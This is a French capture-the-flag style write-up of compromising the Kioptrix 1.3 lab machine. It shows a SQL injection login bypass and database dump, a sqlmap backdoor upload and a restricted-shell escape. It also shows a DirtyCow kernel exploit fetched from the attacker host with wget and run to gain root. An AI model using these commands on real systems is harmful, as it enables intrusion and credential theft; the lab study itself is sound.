Kioptrix 1.3 (lvl 4)
Retour
Je continue ici l’exploitation du grand cru des boot2root que sont les VM Kioptrix. Cette fois-ci je parle de shell restreint, d’exploitation de kernel et d’injection SQL.
Recherche d’informations
nmap
Un scan rapide indique ceci :
Nmap scan report for 192.168.122.133
Host is up (0.0013s latency).
Not shown: 566 closed ports, 430 filtered ports
PORT STATE SERVICE
22/tcp open ssh
80/tcp open http
139/tcp open netbios-ssn
445/tcp open microsoft-ds
MAC Address: 52:54:00:36:11:67 (QEMU virtual NIC)
Allons plus loin :
root@Kali:~# nmap -sC -sV -p- 192.168.122.133
Starting Nmap 7.60 ( https://nmap.org ) at 2018-05-05 09:08 CEST
Nmap scan report for 192.168.122.133
Host is up (0.0030s latency).
Not shown: 39528 closed ports, 26003 filtered ports
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 4.7p1 Debian 8ubuntu1.2 (protocol 2.0)
| ssh-hostkey:
| 1024 9b:ad:4f:f2:1e:c5:f2:39:14:b9:d3:a0:0b:e8:41:71 (DSA)
|_ 2048 85:40:c6:d5:41:26:05:34:ad:f8:6e:f2:a7:6b:4f:0e (RSA)
80/tcp open http Apache httpd 2.2.8 ((Ubuntu) PHP/5.2.4-2ubuntu5.6 with Suhosin-Patch)
|_http-server-header: Apache/2.2.8 (Ubuntu) PHP/5.2.4-2ubuntu5.6 with Suhosin-Patch
|_http-title: Site doesn't have a title (text/html).
139/tcp open netbios-ssn Samba smbd 3.X - 4.X (workgroup: WORKGROUP)
445/tcp open netbios-ssn Samba smbd 3.0.28a (workgroup: WORKGROUP)
MAC Address: 52:54:00:36:11:67 (QEMU virtual NIC)
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
Host script results:
|_clock-skew: mean: -1s, deviation: 0s, median: -1s
|_nbstat: NetBIOS name: KIOPTRIX4, NetBIOS user: <unknown>, NetBIOS MAC: <unknown> (unknown)
| smb-os-discovery:
| OS: Unix (Samba 3.0.28a)
| Computer name: Kioptrix4
| NetBIOS computer name:
| Domain name: localdomain
| FQDN: Kioptrix4.localdomain
|_ System time: 2018-05-05T03:09:29-04:00
| smb-security-mode:
| account_used: guest
| authentication_level: user
| challenge_response: supported
|_ message_signing: disabled (dangerous, but default)
|_smb2-time: Protocol negotiation failed (SMB2)
Nous avons donc :
- OpenSSH 4.7p1 sur le port 22
- Apache 2.2.8 avec php 5.2.4 sur le port 80
- Du samba 3.0.28a sur les ports 139 et 445
Enum4Linux
Est-ce que Samba peut nous donner des informations utiles ?
================================
| Users on 192.168.122.133 |
================================
index: 0x1 RID: 0x1f5 acb: 0x00000010 Account: nobody Name: nobody Desc: (null)
index: 0x2 RID: 0xbbc acb: 0x00000010 Account: robert Name: ,,, Desc: (null)
index: 0x3 RID: 0x3e8 acb: 0x00000010 Account: root Name: root Desc: (null)
index: 0x4 RID: 0xbba acb: 0x00000010 Account: john Name: ,,, Desc: (null)
index: 0x5 RID: 0xbb8 acb: 0x00000010 Account: loneferret Name: loneferret,,, Desc: (null)
user:[nobody] rid:[0x1f5]
user:[robert] rid:[0xbbc]
user:[root] rid:[0x3e8]
user:[john] rid:[0xbba]
user:[loneferret] rid:[0xbb8]
=======================================================
| Password Policy Information for 192.168.122.133 |
=======================================================
[+] Attaching to 192.168.122.133 using a NULL share
[+] Trying protocol 445/SMB...
[+] Found domain(s):
[+] KIOPTRIX4
[+] Builtin
[+] Password Info for Domain: KIOPTRIX4
[+] Minimum password length: 5
[+] Password history length: None
[+] Maximum password age: Not Set
[+] Password Complexity Flags: 000000
[+] Domain Refuse Password Change: 0
[+] Domain Password Store Cleartext: 0
[+] Domain Password Lockout Admins: 0
[+] Domain Password No Clear Change: 0
[+] Domain Password No Anon Change: 0
[+] Domain Password Complex: 0
[+] Minimum password age: None
[+] Reset Account Lockout Counter: 30 minutes
[+] Locked Account Duration: 30 minutes
[+] Account Lockout Threshold: None
[+] Forced Log off Time: Not Set
Ici je trouve donc la politique de mot de passe ainsi que les utilisateurs du système.
Exploitation
Site Web :
Un site tourne sur la cible. En l’ouvrant voici ce que je trouve :
J’obtiens une erreur de Mysql en insérant 'or 1=1 dans le champ du mot de passe. Avec ZAP proxy je vais récupérer les informations de la requête pour ensuite utiliser SQLmap :
POST http://192.168.122.133/checklogin.php HTTP/1.1
Host: 192.168.122.133
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:52.0) Gecko/20100101 Firefox/52.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Referer: http://192.168.122.133/
Connection: keep-alive
Upgrade-Insecure-Requests: 1
Content-Type: application/x-www-form-urlencoded
Content-Length: 54
myusername=loneferret&mypassword=lol&Submit=Login
Maintenant nous allons utiliser SQLmap pour dumper les données:
root@Kali:~/kiopitrix-1-3# sqlmap -u "http://192.168.122.133/checklogin.php" --method POST --data 'myusername=loneferret&mypassword=lol&Submit=Login' --dump
....
....
Database: members
Table: members
[2 entries]
+----+----------+-----------------------+
| id | username | password |
+----+----------+-----------------------+
| 1 | john | MyNameIsJohn |
| 2 | robert | ADGAdsafdfwt4gadfga== |
+----+----------+-----------------------+
[10:10:55] [INFO] table 'members.members' dumped to CSV file '/root/.sqlmap/output/192.
168.122.133/dump/members/members.csv'
[10:10:55] [INFO] fetched data logged to text files under '/root/.sqlmap/output/192.168
.122.133'
[*] shutting down at 10:10:55
Intrusion dans le système
Je pars du principe que l’homme est le maillon faible de la chaîne de sécurité. Je vais donc utiliser les deux mots de passe trouvé ici pour me connecter directement à SSH.
root@Kali:~/kiopitrix-1-3# ssh john@192.168.122.133
The authenticity of host '192.168.122.133 (192.168.122.133)' can't be established.
RSA key fingerprint is SHA256:3fqlLtTAindnY7CGwxoXJ9M2rQF6nn35SFMTVv56lww.
Are you sure you want to continue connecting (yes/no)? yes
Warning: Permanently added '192.168.122.133' (RSA) to the list of known hosts.
john@192.168.122.133's password:
Welcome to LigGoat Security Systems - We are Watching
== Welcome LigGoat Employee ==
LigGoat Shell is in place so you don't screw up
Type '?' or 'help' to get the list of allowed commands
john:~$ ?
cd clear echo exit help ll lpath ls
john:~$ ls
john:~$ echo 'lulz' > test.txt
*** forbidden syntax -> "echo 'lulz' > test.txt"
*** You have 0 warning(s) left, before getting kicked out.
Je tombe sur un shell limité. Tentons autre chose par SQLmap :
which web application language does the web server support? [45/1047]
[1] ASP
[2] ASPX
[3] JSP
[4] PHP (default)
> 4
[10:23:26] [INFO] retrieved the web server document root: '/var/www'
[10:23:26] [INFO] retrieved web server absolute paths: '/var/www/checklogin.php'
[10:23:26] [INFO] trying to upload the file stager on '/var/www/' via LIMIT 'LINES TER$
INATED BY' method
[10:23:26] [INFO] the file stager has been successfully uploaded on '/var/www/' - http:
//192.168.122.133:80/tmpuknkq.php
[10:23:26] [WARNING] unable to upload the file through the web file stager to '/var/www
/'
[10:23:26] [WARNING] backdoor has not been successfully uploaded through the file stage
r possibly because the user running the web server process has not write privileges ove
r the folder where the user running the DBMS process was able to upload the file stager
or because the DBMS and web server sit on different servers
do you want to try the same method used for the file stager? [Y/n]
[10:23:30] [INFO] the backdoor has been successfully uploaded on '/var/www/' - http://1
92.168.122.133:80/tmpbfeza.php
[10:23:30] [INFO] calling OS shell. To quit type 'x' or 'q' and press ENTER
os-shell> ls
do you want to retrieve the command standard output? [Y/n/a] y
command standard output:
---
checklogin.php
database.sql
images
index.php
Je vais donc explorer le dossier courant à la recherche de choses intéressantes :
ob_start();
$host="localhost"; // Host name
$username="root"; // Mysql username
$password=""; // Mysql password
$db_name="members"; // Database name
$tbl_name="members"; // Table name
Je trouve ici de jolis identifiants de base de données en ROOT.
os-shell> mysql -u root -p -e "show databases;"
do you want to retrieve the command standard output? [Y/n/a]
command standard output:
---
Enter password: Database
information_schema
members
mysql
---
Évasion de shell restreint
Je lance LinEnum pour découvrir des choses utiles pour la suite, il semble que je puisse lister le contenus de /root :
os-shell> ls /root
do you want to retrieve the command standard output? [Y/n/a]
command standard output:
---
congrats.txt
lshell-0.9.12
---
Je trouve ici une info importante, le logiciel utilisé pour créer le shell restreint cité plus haut, voyons voir si des exploits sont disponibles :
root@Kali:~# searchsploit lshell
---------------------------------------------------- ----------------------------------
Exploit Title | Path
| (/usr/share/exploitdb/)
---------------------------------------------------- ----------------------------------
Horde 3.3.5 - '/Administration Interface admin/sqls | exploits/php/webapps/33408.txt
LShell 0.9.15 - Remote Code Execution | exploits/linux/remote/39632.py
---------------------------------------------------- ----------------------------------
Il existe un exploit, voici les premières lignes :
root@Kali:~/kiopitrix-1-3# head -n 20 lshell.py
import paramiko
import traceback
from time import sleep
#
# Exploit lshell pathing vulnerability in <= 0.9.15.
# Runs commands on the remote system.
# @dronesec
#
if len(sys.argv) < 4:
print '%s: [USER] [PW] [IP] {opt: port}'%(sys.argv[0])
sys.exit(1)
Note : TOUJOURS lire les exploits que l’on utilise, voici pourquoi :
root@Kali:~/kiopitrix-1-3# python lshell.py
Traceback (most recent call last):
File "lshell.py", line 11, in <module>
if len(sys.argv) < 4:
NameError: name 'sys' is not defined
Ici je me retrouve avec un exploit qui ne fonctionne pas, en regardant le code je remarque l’utilisation de sys pour la gestion des arguments en ligne de commande. Ce dernier n’est pas importé au début du programme. Je l’ajoute et lance l’exploit :
root@Kali:~/kiopitrix-1-3# python lshell.py john MyNameIsJohn 192.168.122.133 22
[!] .............................
[!] lshell <= 0.9.15 remote shell.
[!] note: you can also ssh in and execute '/bin/bash'
[!] .............................
[!] Checking host 192.168.122.133...
[+] vulnerable lshell found, preparing pseudo-shell...
$ whoami
john
Je suis donc utilisateur sur la machine mais, testons une autre technique :
john:~$ echo os.system('/bin/bash')
john@Kioptrix4:~$ ls
john@Kioptrix4:~$ whoami
john
Élévation des privilèges
Je vais ici tenter une exploitation du Noyau :
john@Kioptrix4:~$ uname -a
Linux Kioptrix4 2.6.24-24-server #1 SMP Tue Jul 7 20:21:17 UTC 2009 i686 GNU/Linux
La cible vulnérable a la faille DrityCow. Pour l’exploiter je vais utiliser l’exploit de Firefart. Cet exploit nécessite une modification du code source pour faire correspondre les noms d’utilisateurs. Sur Vi je vais faire un simple chercher/remplacer :
s%/firefart/root/g
Puis je compile l’exploit en 32 bits pour le rendre compatible avec la cible :
root@Kali:~/kiopitrix-1-3# gcc -pthread 40839.c -o dirty -lcrypt -m32
On va maintenant upload l’exploit sur notre cible :
root@Kali:~/kiopitrix-1-3# python -m SimpleHTTPServer
Serving HTTP on 0.0.0.0 port 8000 ...
192.168.122.133 - - [16/Jun/2018 11:20:44] "GET /dirty HTTP/1.0" 200 -
lien de l’exploit : https://www.exploit-db.com/exploits/40839/
Depuis la cible :
john@Kioptrix4:~$ wget http://192.168.122.197:8000/dirty
--05:20:43-- http://192.168.122.197:8000/dirty
=> `dirty'
Connecting to 192.168.122.197:8000... connected.
HTTP request sent, awaiting response... 200 OK
Length: 12,604 (12K) [application/octet-stream]
100%[===========================================>] 12,604 --.--K/s
05:20:43 (185.26 MB/s) - `dirty' saved [12604/12604]
john@Kioptrix4:~$ ./dirty
File /tmp/passwd.bak already exists! Please delete it and run again
john@Kioptrix4:~$ rm -rf /tmp/passwd.bak
john@Kioptrix4:~$ ./dirty
/etc/passwd successfully backed up to /tmp/passwd.bak
Please enter the new password:
Complete line:
root:roCNHQuSLUKxA:0:0:pwned:/root:/bin/bash
mmap: b7ee4000
madvise 0
ptrace 0
Done! Check /etc/passwd to see if the new user was created.
You can log in with the username 'root' and the password 'toor'.
DON'T FORGET TO RESTORE! $ mv /tmp/passwd.bak /etc/passwd
Done! Check /etc/passwd to see if the new user was created.
You can log in with the username 'root' and the password 'toor'.
DON'T FORGET TO RESTORE! $ mv /tmp/passwd.bak /etc/passwd
Cet exploit prend au moins 15 minutes à faire le job, soyez patient !
Depuis Kali je devrais pouvoir me connecter :
root@Kali:~/kiopitrix-1-3# ssh root@192.168.122.133
root@192.168.122.133's password:
Welcome to LigGoat Security Systems - We are Watching
root@Kioptrix4:~# whoami
root
Je restaure maintenant le mot de passe et change le mot de passe :
root@Kioptrix4:~# mv /tmp/passwd.bak /etc/passwd
root@Kioptrix4:~# passwd
Enter new UNIX password:
Retype new UNIX password:
passwd: password updated successfully
Note : cette technique fonctionne ici car je suis dans le cadre d’un labs. En réalité il faut être le plus discret possible.
Conclusion
Au cours de ce challenge j’ai appris pas mal de choses. On met toujours l’accent sur la recherche d’informations et on découvre de nouvelles attaques telles que l’évasion de shell restreint. On pourra également jouer avec DirtyCow qui est un exploit touchant un large panel de version du noyau Linux. Il est également à noter que d’autres moyens existent pour obtenir l’accès root sur la machine.
Retour